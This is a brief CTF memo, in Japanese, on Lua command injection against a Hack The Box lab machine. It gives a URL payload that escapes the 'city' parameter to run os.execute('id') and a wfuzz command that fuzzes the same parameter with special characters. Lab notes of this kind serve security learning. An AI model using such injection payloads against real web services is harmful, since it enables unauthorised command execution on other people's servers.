lua command injection - ハシビロコウのメモ

lua command injection

c.f. HTB-Luann

code:url

http://10.10.10.218/weather/forecast?city=%27);os.execute(%22id%22);--

luaは--がコメントアウト。

code:bash

wfuzz -u "http://10.10.10.218/weather/forecast?city='FUZZ--" -w /usr/share/seclists/Fuzzing/special-chars.txt